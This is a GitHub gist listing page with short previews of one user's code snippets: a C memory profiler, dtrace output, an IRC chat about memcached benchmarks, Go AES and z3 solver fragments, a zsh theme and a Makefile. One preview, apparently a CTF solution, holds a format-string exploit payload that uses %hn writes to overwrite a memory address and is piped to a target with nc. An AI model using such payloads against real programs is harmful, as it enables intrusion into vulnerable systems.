Skip to content

Instantly share code, notes, and snippets.

// A simple memory profiler.
//
// Each of the write_memory_* functions read from a 1GB array. Each of the
// write_memory_* writes to the 1GB array. The goal is to get the max memory
// bandwidth as advertised by the intel specs: 25.6 GB/s (http://goo.gl/r8Aab)
//
// Compile with clang -mavx memory_profiler.c
#include <assert.h>
#include <stdlib.h>
# dtrace -n 'syscall:::entry /pid == $target/ {}' -c /Applications/OmniGraffle\ Professional\ 5.app/Contents/MacOS/OmniGraffle\ Professional
dtrace: failed to execute /Applications/OmniGraffle: file is set-id or unreadable [Note: the '-c' option requires a full pathname to the file]
#include <stdio.h>
#ifdef WITH_UNWIND
#define UNW_LOCAL_ONLY
#include <libunwind.h>
void show_backtrace (void) {
unw_cursor_t cursor; unw_context_t uc;
unw_word_t ip, sp;
===================== done ====================
pass statistics:
method pass_blank :: 0 worked 2 times and failed 0 times
method pass_lines :: 2 worked 69 times and failed 4885 times
method pass_lines :: 2 worked 69 times and failed 4885 times
method pass_lines :: 2 worked 69 times and failed 4885 times
method pass_lines :: 10 worked 273 times and failed 10689 times
method pass_lines :: 10 worked 273 times and failed 10689 times
method pass_lines :: 10 worked 273 times and failed 10689 times
[08:43:33] <awreece> what is is a good benchmark for memcached?
[08:44:27] <awreece> https://github.com/antirez/mc-benchmark appears to be several years old, and last I checked there was some disagreement about it
[08:44:55] <awreece> in particular, I want to experiment with a new storage engine
[11:02:50] <dormando> awreece: github.com/dormando/mc-crusher
[11:05:28] <awreece> cool. I'll try this
[11:05:57] <awreece> does it make any attempt to simulate realistic application workloads, or is the general wisdom "every workload is different" ?
[11:06:43] <awreece> (I notice "it only works well with small values")
[11:08:08] <dormando> most workloads are different. mc-crusher lets you set up config files for different types
[11:08:23] <dormando> it's mostly designed to stress the storage engine locks/etc. find the breaking points.
[11:08:48] <awreece> ok
package main
import "crypto/aes"
import "fmt"
import "encoding/hex"
var start = []byte("AES-256 ECB mode twice, two keys")
var end = []byte("\x4c\x76\xe9\x07\x86\xc4\xf3\x64\x6a\xdf\x99\x21\x7a\x64\xd0\xd7\x49\xed\xc5\x9f\x2c\x7f\xbb\x36\x58\xaf\x04\xaf\x07\x1d\x0c\x47")
var reverse = make(map[string][32]byte)
#!/usr/bin/python
# Usage: ./moviestore.py | ./movies
# Usage: ./moviestore.py | nc <host> <port>
# s = "AAAABBBB%00000x%5$hp%0000x%6$hp"
s = "\x56\xf1\x04\x08\x54\xf1\x04\x08%02044x%5$hn%35315x%6$hn"
# Want to write value 080491F7
# to 804F154
#!/usr/bin/python
from z3 import *
data = [ord(c) for c in "".join([
"\x00\x3F\x60\xFF\x7F\x5F\xFF\x5F\x7F\xFF\x7E\x5E\xFF\x7E\x7F\x7F",
"\x5E\x7E\xFF\x7D\x5D\xFF\x7D\x7E\x7E\x5D\x7D\xFF\x7C\x5C\xFF\x7C",
"\x7D\x7D\x5C\x7C\xFF\x7B\x5B\xFF\x7B\x7C\x7C\x5B\x7B\xFF\x7A\x5A",
"\xFF\x7A\x7B\x7B\x5A\x7A\xFF\x79\x59\xFF\x79\x7A\x7A\x59\x79\xFF",
"\x78\x58\xFF\x78\x79\x79\x58\x78\xFF\x77\x57\xFF\x77\x78\x78\x57",
# A clean zsh theme for oh-my-zsh.
#
# This theme has a minimal left hand prompt and a simple right hand prompt that
# displays meaningful information when relevant (see below for full details).
#
# In addition, it will show the execution time and exit status of the last
# command executed and will notify (on mac os x) when the last command
# completed but the terminal does not focus.
#
# Some behavior can be controlled with variables below.
@awreece
awreece / Makefile
Last active December 18, 2015 11:59
pretty: $(SRCS)
@# Check to make sure we have the proper version of indent.
$(if $(findstring GNU,$(shell indent --version 2>/dev/null)),, $(error Install GNU indent))
@echo "Running GNU indent on source files"
@# Note - If we have any typedefs, we need to explicitly tell indent
@# about our typedefs via
@# -T type_t
@indent \
-T solution_t \